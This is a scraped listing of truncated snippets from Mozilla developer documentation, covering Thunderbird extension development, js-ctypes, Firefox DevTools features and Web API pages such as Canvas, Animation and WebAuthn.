group of similar items in the base file. For example, if only the last menuitem above had been in an overlay and the other items were defined in the base file, the overlayed menuitem would still appear at the top of the parent menu. Attaching a script to an overlay To execute a script when an overlay is applied, use a <script> element: <script src="overlay.js"/> If you need to set the version of
JavaScript, you can set the type attribute: <script type="application/x-
javascript;version=1.8" src="overlay.js"/> UI reuse with overlays One of the biggest benefits of using overlays is that it allows you to reuse groups of elements that appear frequently in the UI. The overlay mechanism allows you to merge elements into existing subtrees, but it also allows you to store common UI elements in overlay files...
Creating a gloda message query
identity is involved if the message was to them, from them, or carbon-copied to them. gloda.from, gloda.to, gloda.cc: Just like gloda.involves, but specific to from/to/cc. gloda.dateRange([lowerDate1, upperDate1], [lowerDate2, upperDate2], ...): Add the constraint that the message date (per the message's Date header) must fall within one of the specified inclusive ranges. The date instances are
JavaScript Date instances. query.folder(folder1, folder2, ...): Add the constraint that the message must be found in one of the specified folders. The folder may be a GlodaFolder instance (retrieved via Gloda.getFolderForFolder, which takes an nsIMsgFolder) or an nsIMsgFolder instance. query.conversation(conversation1, conversation2, ...): Add the constraint that the message must belong to one of the spec...
Mail client architecture overview
Warning: The content of this article may be out of date. It was imported from mozilla.org and last updated in 2002. All of the links seem to be broken. The mail reader Gecko (XUL and HTML rendering) RDF (dynamic widgets) JS (menus, events) libmime Mail Datasources Mail
JavaScript Folder/Message management msgdb IMAP/NNTP/POP3 Necko (networking) Sections in grey refer to modules outside of mail/news The base Module The base module provides a generic interface to a set of protocol-independant messaging services. This includes management of accounts, folders and messages. The base modu...
Mail composition back end
disk, should you need this data for some reason. Included in this functionality is the code to copy the messages to the appropriate locations after delivery (i.e. a "Sent" folder) as well as the ability to store messages for features like "Drafts" and "Templates". Several (but not all) of these interfaces are specified in IDL. This will change in the coming weeks and allow for developers to write
JavaScript to take advantage of the back end services. Also, I will talk about some features though they may not be complete as of yet. I will try to make comments for these exceptions. Sending Messages The primary responsibility of the back end is for the creation and sending of RFC822 messages. The interface that accomplishes this task is the nsIMsgSend interface. The feedback mecha...
Thunderbird Configuration Files
The default name New Text Document.txt should be displayed. Change the name to user.js (click Yes on the file type warning that appears). Linux users: Use your own preferred method to create user.js in the profile folder. If you don't already have one, consider running the following code in a terminal. $ cd $PROFILE # where $PROFILE is your profile folder $ touch user.js # create the empty
JavaScript file Alternatively, open a Files window (if you're on Ubuntu. This will depend on which distribution you use), navigate to the profile folder, and right-click in some empty space on the right pane, then select New Document > Empty Document. The default name Untitled Document should appear, with focus on the filename. Enter user.js to change the document's name. ...
Adding items to the Folder Pane
That container will have 3 child-items, the numbers 1, 2, and 3. Clicking on those items will display the number in the main viewing pane of Thunderbird. First, some necessary background on how the Folder Pane constructs the data it displays. The Folder Pane tracks modifications to a user's folders and accounts. Each time the Folder Pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the Folder Pane's "mode" (aka view) has changed), a "rebuild" occurs. ...
Activity Manager examples
// Step 1: Create a nsIActivityCancelHandler implementation function CancelJunkProcess() { // user stuff here.. } CancelJunkProcess.prototype = { cancel: function(aActivity) { let initiator = aActivity.initiator; if (initiator) { let folder = aActivity.getSubject...
Access Window
The window object represents the Window of the Thunderbird application as well as the currently opened tabs. You can do many things with the window object, such as accessing the height or width of the window/tab or setting its title, registering timer events and much more. The Window API will give you the complete details. Since window is a global variable you can use it directly from your
JavaScript file. Check if the window is a tab or the root window window.addEventListener("load", function(e) { alert("Is root?: " + isRoot()); }, false); function isRoot() { if(window != window.top) return "false"; else return "true"; } The example above tells you if the window object is a reference of the application window or of one of it is a tabs. Register a timer window.setInterval( function...
Add Toolbar Button
Example XUL overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerWindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-
javascript" src="overlay.js" /> <toolbarpalette id="MailToolbarPalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="Demo" type="button" oncommand="Demo.load();" /> </toolbarpalette> </overlay> Add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Filter Incoming Mail
Filter Incoming Mail To filter incoming mail, the first step is to detect new messages inconming. The, you've got Components.interfaces.nsIMsgDBHdr from where you can modify the mail. By example, to modify the mail subject : var newMailListener = { msgAdded: function(aMsgHdr) { if( !aMsgHdr.isRead ) { // Here we are, a new mail has popped // let get a
Javascript string object from the subject property // Querying mime conversion interface var mimeConvert = Components.classes["@mozilla.org/messenger/mimeconverter;1"] .getService(Components.interfaces.nsIMimeConverter); var subject = mimeConvert.decodeMimeHeader(aMsgHdr.subject, null, false, true); // Here with have a string to modify with
Javascript. By example, setting it to lower case subj...
Thunderbird extensions
on Thunderbird Community / Communications Thunderbird specific : Add-ons section on developer.thunderbird.net Thunderbird communication channels Add-on Developers forum/mailing list #maildev IRC channel More general : MozillaZine Extension Development forum General developer channels Related Topics XUL,
JavaScript, XPCOM, Themes, Developing Mozilla Categori ...
Using popup notifications
and recalled by clicking anywhere outside the notification, then clicking on the notification icon to bring it back again. A popup notification can include a text message, a button action, and zero or more additional actions provided in a drop-down menu accessed through the notification's button. Creating a popup notification Popup notifications can be created using the PopupNotifications.jsm
JavaScript code module. This code module is imported by the browser, so you don't need to do it explicitly yourself. Then you can create the popup notification at the appropriate time like this: PopupNotifications.show(gBrowser.selectedBrowser, "sample-popup", "This is a sample popup notification.", null, /* anchor ID */ { label: "Do Something", accessKey: "D", ...
Zombie compartments
This page tells you how to detect and avoid zombie compartments, which are a particular kind of memory leak. They can be caused by bugs in Firefox itself, or by bugs in Firefox add-ons. Compartments Firefox's
JavaScript memory is segregated into zones and compartments. Roughly speaking, all memory used by
JavaScript code that is from a particular origin (i.e. website) goes into its own compartment. Firefox's own
JavaScript code also gets one or more compartments and so do add-on scripts. Multiple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information. Viewing live compartments If you want to see a list of live compartments, type "about:memory" into the address bar a...
Using COM from js-ctypes
bject Linking and Embedding (OLE) and later by the Component Object Model (COM), Automation Objects, ActiveX controls, and the .NET Framework. COM is C++ and it cannot be written directly with js-ctypes. This documentaion explains how to convert the COM C++ code into js-ctypes code. Basis and reference for this article Bugzilla :: Bug 738501 - Implement ability to create Windows shortcuts from
javascript - Comment 4 Relavent topic Bugzilla :: Bug 505907 - Support C++ calling from JSctypes Converting COM code to C code To convert COM code to js-ctypes, we need to write C++ VTable pointers in C. After that, we can pass a pointer . Speech Synthesis Example Let's start with following C++ code, which invokes Microsoft Speech API and says "Hello, Firefox!" with system default voice, then wait ...
Declaring and Calling Functions
e: Multiple input parameters This example declares the libc asctime() function, which converts a time structure into a string. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); For a more complete version of this example (including the implementation of the struct_tm type), see the structures example. Returned values If the return type can fit into a
JavaScript number without loss (that is, it's a number 32 bits or smaller, or is a double or float), then the function just return a
JavaScript number. For everything else it returns a ctypes object representing the return value (including 64-bit integers). ...
Memory Management
It's important to note that getting direct access to the contents of a CData object using address(), addressOfElement(), or contents, will result in a CData object that does not hold its referent alive. Be sure to hold an explicit reference so that the referent object doesn't get into garbage collection, before you're done using it. Closures You also need to be sure to retain references to any
JavaScript code that native code may call back into. This should be obvious, but is important enough to be worth stating explicitly. When in doubt, malloc() When you need to keep data around, you can use malloc() to allocate it directly. This bypasses
JavaScript's memory management and lets you handle memory management yourself. ...
ABI
es under these operating systems use a different ABI than regular function declarations. Other All other operating systems use ctypes.default_abi as their calling convention for all function declarations. Method overview String toSource() String toString() Methods toSource() Returns the string "ctypes.***_abi". String toSource() Parameters None. Return value A
JavaScript expression that evaluates to the ABI. toString() Returns a string identifying the ABI. String toString(); Parameters None. Return value A string identifying the ABI. See Also ctypes FunctionType Library ...
FunctionType
ypes.void_t.size is undefined. Method overview Methods inherited from CType CType array([n]) String toSource() String toString() FunctionType CData FunctionType CData cannot be constructed. Function pointer is created with FunctionType.ptr. CData functiontype.ptr([func]); functiontype is FunctionType CType. Parameters func A pointer value or
JavaScript Function. Return value A CData representing the newly allocated function pointer. Exceptions thrown TypeError func is not either pointer value or
JavaScript Function. See Also CType CData ABI Library Type conversion ...
PointerType
of the data into the pointed-to memory. If converting the data fails, a TypeError exception is thrown. Properties inherited from CData Property Type Description constructor CType The data type of the CData object, as a CType. Read only. Note: This is never ctypes.void_t or an array type with an unspecified length. value object The
JavaScript equivalent of the CData object's value. This will throw a TypeError exception if the value can't be converted. PointerType CData Method_overview bool isNull() Methods inherited from CData CData address() String toSource() String toString() PointerType CData Methods isNull() Determines whether or not the pointer's value is null. bool is...
js-ctypes reference
sion surrounding js-ctypes. Calling a Type Constructor will return a CType. Calling a CType will return a CData. You declare the arguments and return value of a native function with CType objects. You call a native function with CData objects. Other Features Error-handling js-ctypes supports both errno (on all platforms) and GetLastError (on Windows platforms). Callbacks You can pass regular
JavaScript functions as callbacks to native functions. See the Callbacks page for details. 64-Bit integer handling Because
JavaScript Number objects can't directly represent every possible 64-bit integer value, js-ctypes provides new types for these. See Int64 and UInt64. ...
Plug-in Development Overview - Plugins
part of the the browser user interface, your plug-in can emulate the browser behavior by providing status line messages. Use the NPN_Status method to display a message on the status line. For information about using this method, see Version, UI, and Status Information. Making Plug-ins Scriptable Scriptable plug-ins are plug-ins that have been extended to provide methods that can be called from
JavaScript and the DOM when accessed through the object or embed element. Consider the following example, where a media player plug-in can be controlled with an advanceToNextSong() method called inside the script element: <object id="myPlugin" type="audio/wav" data="music.wav"> </object> <script type="application/
javascript"> var thePlugin = document.getElementById('myPlugin'); if (thePlugin &...
Scripting plugins - Plugins
his API from other threads. Security model The security model for making calls through this API is much like the general same-origin security model enforced by the browser. That means that a script from an origin other than the origin of the page that loaded the plugin is not able to access methods and properties on the plugin. The same thing applies the other way too; the plugin can reach only
JavaScript objects in the same origin as the page that loaded the plugin. In addition to this, a further extension to this API is being discussed that would give a plugin greater flexibility by letting the plugin control the origin of the calling code, so that the plugin can specify the origin of calls that come from internally loaded code from other origins. This way such code can be executed with only th...
DOM Inspector FAQ - Firefox Developer Tools
having trouble finding a specific node in the DOM tree. Isn't there is a faster way to find it than navigating the tree? Sure. You can do a search via the node's name, id, or an attribute/value pair. Choose the Find Nodes... menu item from the Edit menu in an inspector window that is inspecting the document you wish to search, and enter your search criteria there. The DOM Inspector's search uses
JavaScript RegExps to find nodes for tag and attribute searches, and will do partial matching. For example, if you search nodes' tags for "tab", you'll get matches for tabpanel and tabbox as well as tab. To restrict the search, you can use the beginning-of-string and end-of-string markers; e.g., searching nodes for "^tab$" will return only nodes whose names are exactly "tab". Or, if you do not know anythin...
Debug eval sources - Firefox Developer Tools
In the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceURL=my-foo.js`; eval(script); var button = document.getElementById("foo"); button.addEventListener("click", foo, false); The evaluated string is given the name "my-foo.js" using the //# sourceURL directive. This source is then listed in the source list pane, and can be opened and debugged like any other source. The name of the source will also appear in stack traces appearing in the Web Console. ...
Pretty-print a minified file - Firefox Developer Tools
rce icon () at the bottom of the source pane. The debugger formats the source and displays it as a new file with a name like: "{ } [original-name]". After you click the icon, the source code looks like this: The Pretty print source icon is available only if the source file is minified (i.e., not an original file), and is not already "prettified". Note: if you want to prettify some inline
JavaScript code, just double click the code in the inspector pane. ...
Search - Firefox Developer Tools
ant: Searching within a file To search for a particular substring in the file currently loaded into the source pane, press Control + F (or Command + F on a Mac) while the source pane is focused. Press Return to search. The debugger will display the number of matches in the code and highlight each result: Using the Outline tab If you are searching for a specific function within the current
JavaScript file, you can use the Outline tab in the debugger to find it quickly. The Outline tab lists the functions in the current file. The default sort order is by the order in the file but you can simplify the search by click on "Sort by name" at the bottom of the tab. You can further simplify the search by filtering the list. Enter text into the text input above the list to limit the results in the ...
Use watchpoints - Firefox Developer Tools
In a large, complex codebase, it's not always easy to know where in the code a given property is accessed. In the Firefox Debugger, this information can be provided by watchpoints. By setting a watchpoint on the property, rather than a breakpoint at a particular line, you can discover where that access occurs. There are three types of watchpoints: get, set, and get or set. A get watchpoint pauses whenever a property is read; a set watchpoint pauses whenever a property value changes; a get or set watchpoint pauses whenever a property value is accessed in either way. Set a watchpoint Run and then pause the debugger. ...
Tutorial: Set a breakpoint - Firefox Developer Tools
This page shows how you can try out the Debugger API yourself using Firefox's Scratchpad. We use Debugger to set a breakpoint in a function, and then evaluate an expression whenever it is hit. This tutorial was tested against Firefox 58 Beta and Nightly. It does not work in Firefox 57. Since the Debugger API is only available to privileged
JavaScript code, you'll need to use the Browser Content Toolbox to try it out. To do this, open the Firefox developer tools, click on the options gear at the upper right of the toolbox, and make sure that both "Enable browser chrome and add-on debugging toolboxes" and "Enable remote debugging" are checked. These are located at the bottom right of the options panel; you may need to scroll to see them. Once they're checked, you can close the developer tools.
Tree map view - Firefox Developer Tools
entation of the snapshot, that helps you quickly get an idea of which objects are using the most memory. A treemap displays "hierarchical (tree-structured) data as a set of nested rectangles". The size of the rectangles corresponds to some quantitative aspect of the data. For the treemaps shown in the Memory tool, things on the heap are divided at the top level into four categories: objects:
JavaScript and DOM objects, such as Function, Object, or Array, and DOM types like Window and HTMLDivElement. scripts:
JavaScript sources loaded by the page. strings other: this includes internal SpiderMonkey objects. Each category is represented with a rectangle, and the size of the rectangle corresponds to the proportion of the heap occupied by items in that category. This means you can quickly get a...
Network request list - Firefox Developer Tools
nt to 1024. size:2m larger-than Shows resources that are larger than the specified size in bytes. k can be used as suffix for kilobytes and m for megabytes, e.g. the value 1k is equivalent to 1024. larger-than:2000 -larger-than:4k mime-type Shows resources that match the specified MIME type. mime-type:text/html mime-type:image/png mime-type:application/
javascript is is:cached and is:from-cache shows only resources coming from cache. is:running shows only resources, which are currently being transferred. is:cached -is:running scheme Shows resources transferred via the given scheme. scheme:http has-response-header Shows resources that contain the specified HTTP response header. has-response-header:cache-c...
Animation inspector example: CSS transitions - Firefox Developer Tools
sform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "Open Sans",Arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#selected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; }
JavaScript Content function toggleSelection(e) { if (e.button != 0) { return; } if (e.target.classList.contains("icon")) { var wasSelected = (e.target.getAttribute("id") == "selected"); clearSelection(); if (!wasSelected) { e.target.setAttribute("id", "selected"); } } } function clearSelection() { var selected = document.getElementById("selected"); if (selected) { ...
Animation inspector example: Web Animations API - Firefox Developer Tools
nel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "Open Sans",Arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; }
JavaScript Content var iconKeyframeSet = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100%)', offset: 0.333}, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)'} ]; var noteKeyframeSet = [ { opacity: '0', width: '0'}, { opacity: '1', width: '300px'} ]; var iconKeyframeOptions = { duration: 750, fill: 'forwards', ...
Sorting algorithms comparison - Firefox Developer Tools
You can try out the example program here and clone the code here (be sure to check out the gh-pages branch). You can also download the specific profile we discuss - just import it to the Performance tool if you want to follow along. Of course, you can generate your own profile, too, but the numbers will be a little different. ...
Animating CSS properties - Firefox Developer Tools
all can give you insight into the work the browser's doing in a CSS animation, to help diagnose performance problems. With CSS animations you specify a number of keyframes, each of which uses CSS to define the appearance of the element at a particular stage of the animation. The browser creates the animation as a transition from each keyframe to the next. Compared with animating elements using
JavaScript, CSS animations can be easier to create. They can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. However, the performance cost of modifying a CSS property can vary from one property to another. Animating expensive CSS properties can result in jank as the browser struggles to hit a smooth frame rate. The CSS render...
Settings - Firefox Developer Tools
ng that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option. Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not Service Workers/the Cache API. Disable
JavaScript Reload the current tab with
JavaScript disabled. Enable Service Workers over HTTP Enable Service Worker registrations from insecure websites. Enable browser chrome and add-on debugging toolboxes Enable you to use developer tools in the context of the browser itself, and not only web content. Enable remote debugging Enable the developer tools to debug remote Firefox instances. Enable worke...
Web Console - Firefox Developer Tools
The Web Console: Logs information associated with a web page: network requests,
JavaScript, CSS, security errors and warnings as well as error, warning and informational messages explicitly logged by
JavaScript code running in the page context Enables you to interact with a web page by executing
JavaScript expressions in the context of the page User interface of the Web Console Parts of the Web Console UI. The
JavaScript input interpreter How to interact with a document using the Console. Split console Use the Console alongside other tools. Console messages Details of the messages that the Console logs. Helper commands Commands you can use that are not part of
JavaScript. Rich output See and interact with objects logged by the Console. Keyboard shortcuts Shortcut refer...
about:debugging (before Firefox 68) - Firefox Developer Tools
erminated after being idle. This section uses a simple ServiceWorker demo, hosted at https://serviceworke.rs/push-simple/. Debugging workers For a service worker, if it is already running, you'll see two buttons next to it, labeled "Debug" and "Push". If it's not already running, you'll see one button, labeled "Start": click this to start the service worker. Clicking "Debug" connects the
JavaScript Debugger and Console to this worker. You can set breakpoints, step through code, watch variables, evaluate code, and so on: Registering workers At first, you won't see any workers listed under Service Workers or Shared Workers. As soon as a worker is registered, the listing is updated: Before Firefox 47, service workers were only shown when they were actually running. Unregistering serv...
AddressErrors - Web APIs
ks. Complete example Here we'll see a complete, working version of the example above (except of course that it's not connected to an actual payment handler, so no payments are actually processed). In the example, we're handling a donation to an organization that will be sending a "thank you" gift to the donor, so it requests shipping information along with allowing the donation payment itself.
JavaScript Payment Request data First, we declare the variables supportedHandlers, which is compatible with PaymentMethodData, and defaultPaymentDetails, which is a PaymentDetailsUpdate object. let supportedHandlers = [ { supportedMethods: "basic-card", data: { supportedNetworks: ["visa", "mastercard", "amex", "discover"], supportedTypes: ["credit", "debit"] } } ]; let defaul...
Animation.updatePlaybackRate() - Web APIs
The updatePlaybackRate() method of the Web Animations API's Animation Interface sets the speed of an animation after first synchronizing its playback position. In some cases, an animation may run on a separate thread or process and will continue updating even while long-running
JavaScript delays the main thread. In such a case, setting the playbackRate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted from the playback position where it is currently running. updatePlaybackRate() is an asynchronous method that sets the speed of an animation after synchronizing with its current playback position, ensuring that the resulting change in speed does not produce a sharp jump. After calling updatePlaybackRate() ...
Animation - Web APIs
i.e., forwards-filling), this can result in a huge animations list, which could create a memory leak. For this reason, modern browsers have implemented the part of the Web Animations spec that automatically removes overriding forward filling animations, unless the developer explicitly specifies to keep them. You can see this in action in our simple replace indefinite animations demo. The related
JavaScript features are: animation.commitStyles() for commiting the end styling state of an animation to the element being animated, even after that animation has been removed. animation.onremove for setting and running an event handler that fires when the animation is removed (i.e., put into an active replace state). animation.persist() for when you explicitly want an animations to be retained. anima...
ArrayBufferView - Web APIs
This is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it. Specifications Specification Status Comment Web IDLThe definition of 'ArrayBufferView' in that specification. ...
Attr.localName - Web APIs
y property returns the local part of the qualified name of an attribute. In previous DOM specifications this API was defined within the Node interface. Syntax name = attribute.localName Return value A DOMString representing the local part of the attribute's qualified name. Example The following example shows "id" in an alert dialog. HTML Content <button id="example">Click me</button>
JavaScript Content const element = document.querySelector("#example"); element.addEventListener("click", function() { const attribute = element.attributes[0]; alert(attribute.localName); }); Notes The local name of an attribute is the part of the attribute's qualified name that comes after the colon. Qualified names are typically used in XML as part of the namespace(s) of the particular XML docume...
AudioTrack.enabled - Web APIs
unction above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "commentary". These represent the primary audio track and the commentary track. Note: This example assumes that there is only one of each kind of track in the video, but this is not necessarily the case. The element's audio tracks are then scanned through using the
JavaScript forEach() method (although the audioTracks property of a media element isn't actually a
JavaScript array, it can be accessed like one for the most part). The scan looks for the tracks whose kind values are "main" and "commentary" and remembers those AudioTrack objects. Once those have been found, the values of the two tracks' enabled properties are exchanged, which results in swapping which of t...
AudioWorkletNode() - Web APIs
Syntax var node = new AudioWorkletNode(context, name); var node = new AudioWorkletNode(context, name, options); Parameters context The BaseAudioContext instance this node will be associated with. name A string, which represents the name of the AudioWorkletProcessor this node will be based on. A processor with the provided name must first be registered using the AudioWorkletGlobalScope.registerProcessor() method. ...
AuthenticatorAttestationResponse.attestationObject - Web APIs
keypair. The public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for example, Android or TPM attestations). Syntax attestObj = authenticatorAttestationResponse.attestationObject Properties After decoding the CBOR encoded ArrayBuffer, the resulting
JavaScript object will contain the following properties: authData The same as AuthenticatorAssertionResponse.authenticatorData. Note that in AuthenticatorAssertionResponse, the authenticatorData is exposed as a property in a
JavaScript object while in AuthenticatorAttestationResponse, the authenticatorData is a property in a CBOR map. The same AuthenticatorAssertionResponse.authenticatorData field is u...
AuthenticatorResponse.clientDataJSON - Web APIs
s only accessed on one of the child objects of AuthenticatorResponse, specifically AuthenticatorAttestationResponse or AuthenticatorAssertionResponse. Syntax var arrayBuffer = AuthenticatorAttestationResponse.clientDataJSON; var arrayBuffer = AuthenticatorAssertionResponse.clientDataJSON; Value An ArrayBuffer. Properties After the clientDataJSON object is converted from an ArrayBuffer to a
JavaScript object, it will have the following properties: type A string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created. challenge The base64url encoded version of the cryptographic challenge sent from the relying party's server. The original value is passed via PublicKeyCredentialRequestOptions.challenge or PublicKeyCredent...
BaseAudioContext.createStereoPanner() - Web APIs
sed to apply stereo panning to an audio source. It positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm. Syntax baseAudioContext.createStereoPanner(); Returns A StereoPannerNode. Example In our StereoPannerNode example (see source code) HTML we have a simple <audio> element along with a slider <input> to increase and decrease pan value. In the
JavaScript we create a MediaElementAudioSourceNode and a StereoPannerNode, and connect the two together using the connect() method. We then use an oninput event handler to change the value of the StereoPannerNode.pan parameter and update the pan value display when the slider is moved. Moving the slider left and right while the music is playing pans the music across to the left and right speakers of the out...
BasicCardRequest - Web APIs
The properties of BasicCardRequest are defined in the Basic Card Payment spec). Properties BasicCardRequest.supportedNetworks Optional Secure context An optional array of DOMStrings representing the card networks that the retailer supports (e.g. "amex", "mastercard"); see Card network identifiers for a complete list. If the property is missing, it implies that all networks are supported. Obsolete properties These properties have been removed from the Payment Method: Basic Card specification and should no longer be used. ...
BatteryManager.charging - Web APIs
an value indicating whether or not the device's battery is currently being charged. Syntax var charging = battery.charging On return, charging indicates whether or not the battery, which is a BatteryManager object, is currently being charged; if the battery is charging, this value is true. Otherwise, the value is false. ...
BatteryManager.chargingTime - Web APIs
o the closest 15 minutes) for privacy reasons. Syntax var time = battery.chargingTime On return, time is the remaining time in seconds until the battery, which is a BatteryManager object, is fully charged, or 0 if the battery is already fully charged. If the battery is currently discharging, this value is Infinity. ...
CanvasRenderingContext2D.createRadialGradient() - Web APIs
h the two specified circles. Examples Filling a rectangle with a radial gradient This example initializes a radial gradient using the createRadialGradient() method. Three color stops between the gradient's two circles are then created. Finally, the gradient is assigned to the canvas context, and is rendered to a filled rectangle. ...
CanvasRenderingContext2D.direction - Web APIs
ection is right-to-left. "inherit" The text direction is inherited from the <canvas> element or the Document as appropriate. Default value. The default value is "inherit". Examples Changing text direction This example draws two pieces of text. The first one is left-to-right, and the second is right-to-left. Note that "Hi!" in ltr becomes "!Hi" in rtl. HTML <canvas id="canvas"></canvas>
JavaScript var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.font = '48px serif'; ctx.fillText('Hi!', 150, 50); ctx.direction = 'rtl'; ctx.fillText('Hi!', 150, 130); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.direction' in that specification. Living Standard ...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
ded(path, element); Parameters element The element to check whether it is focused or not. path A Path2D path to use. Examples Managing button focus This example draws two buttons on a canvas. The drawFocusIfNeeded() method is used to draw a focus ring when appropriate. ...
CanvasRenderingContext2D.fillRect() - Web APIs
starting point. y The y-axis coordinate of the rectangle's starting point. width The rectangle's width. Positive values are to the right, and negative to the left. height The rectangle's height. Positive values are down, and negative are up. Examples A simple filled rectangle This example draws a filled green rectangle using the fillRect() method. HTML <canvas id="canvas"></canvas>
JavaScript The rectangle's top-left corner is at (20, 10). It has a width of 150 and a height of 100. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.fillStyle = 'green'; ctx.fillRect(20, 10, 150, 100); Result Filling the whole canvas This code snippet fills the entire canvas with a rectangle. This is often useful for creating a background, on top of which ...
CanvasRenderingContext2D.fillStyle - Web APIs
x ctx.fillStyle = color; ctx.fillStyle = gradient; ctx.fillStyle = pattern; Options color A DOMString parsed as CSS <color> value. gradient A CanvasGradient object (a linear or radial gradient). pattern A CanvasPattern object (a repeating image). Examples Changing the fill color of a shape This example applies a blue fill color to a rectangle. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.fillStyle = 'blue'; ctx.fillRect(10, 10, 100, 100); Result Creating multiple fill colors using loops In this example, we use two for loops to draw a grid of rectangles, each having a different fill color. To achieve this, we use the two variables i and j to generate a unique RGB color for each squar...
CanvasRenderingContext2D.font - Web APIs
fies the current text style to use when drawing text. This string uses the same syntax as the CSS font specifier. Syntax ctx.font = value; Options value A DOMString parsed as CSS font value. The default font is 10px sans-serif. Examples Using a custom font In this example we use the font property to specify a custom font weight, size, and family. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = 'bold 48px serif'; ctx.strokeText('Hello world', 50, 100); Result Loading fonts with the CSS Font Loading API With the help of the FontFace API, you can explicitly load fonts before using them in a canvas. let f = new FontFace('test', 'url(x)'); f.load().then(function() { // Ready to use ...
CanvasRenderingContext2D.getImageData() - Web APIs
he one from which the document itself was loaded. To avoid SecurityError being thrown in this situation, configure CORS to allow the source image to be used in this way. See Allowing cross-origin use of images and canvas. Example Getting image data from a canvas This example draws a rectangle, and then uses getImageData() to grab a portion of the canvas. HTML <canvas id="canvas"></canvas>
JavaScript The object retrieved by getImageData() has a width of 200 and a height of 100, for a total of 20,000 pixels. Of those pixels, most are either transparent or taken from off the canvas; only 5,000 of them are opaque black (the color of the drawn rectangle). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.rect(10, 10, 100, 100); ctx.fill(); let imageData...
CanvasRenderingContext2D.getLineDash() - Web APIs
draw a line and a gap (in coordinate space units). If the number, when setting the elements, is odd, the elements of the array get copied and concatenated. For example, setting the line dash to [5, 15, 25] will result in getting back [5, 15, 25, 5, 15, 25]. Examples Getting the current line dash setting This example demonstrates the getLineDash() method. HTML <canvas id="canvas"></canvas>
JavaScript As set by setLineDash(), strokes consist of lines that are 10 units wide, with spaces of 20 units in between each line. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.setLineDash([10, 20]); console.log(ctx.getLineDash()); // [10, 20] // Draw a dashed line ctx.beginPath(); ctx.moveTo(0, 50); ctx.lineTo(300, 50); ctx.stroke(); Result Specificati...
CanvasRenderingContext2D.getTransform() - Web APIs
t using CanvasRenderingContext2D.setTransform() and draw a square on it, then retrieve the matrix from it using getTransform(). We then apply the retrieved matrix directly to the second canvas context by passing the DOMMatrix object directly to setTransform(), and draw a circle on it. ...
CanvasRenderingContext2D.globalAlpha - Web APIs
ions value A number between 0.0 (fully transparent) and 1.0 (fully opaque), inclusive. The default value is 1.0. Values outside that range, including Infinity and NaN, will not be set, and globalAlpha will retain its previous value. Examples Drawing translucent shapes This example uses the globalAlpha property to draw two semi-transparent rectangles. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.globalAlpha = 0.5; ctx.fillStyle = 'blue'; ctx.fillRect(10, 10, 100, 100); ctx.fillStyle = 'red'; ctx.fillRect(50, 50, 100, 100); Result Overlaying transparent shapes This example illustrates the effect of overlaying multiple transparent shapes on top of each other. We begin by drawing a solid bac...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
mpositing and clipping in the Canvas Tutorial. Syntax ctx.globalCompositeOperation = type; type is a String identifying which of the compositing or blending mode operations to use. Types Examples Changing the composite operation This example uses the globalCompositeOperation property to draw two rectangles that exclude themselves where they overlap. ...
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
ndicating whether to smooth scaled images or not. The default value is true. Examples Disabling image smoothing This example compares three images. The first image is drawn at its natural size, the second is scaled to 3X and drawn with image smoothing enabled, and the third is scaled to 3X but drawn with image smoothing disabled. ...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
e: For this property to have an effect, imageSmoothingEnabled must be true. Syntax ctx.imageSmoothingQuality = "low" || "medium" || "high" Options Possible values: "low" Low quality. "medium" Medium quality. "high" High quality. Example Setting image smoothing quality This example uses the imageSmoothingQuality property with a scaled image. ...
CanvasRenderingContext2D.lineCap - Web APIs
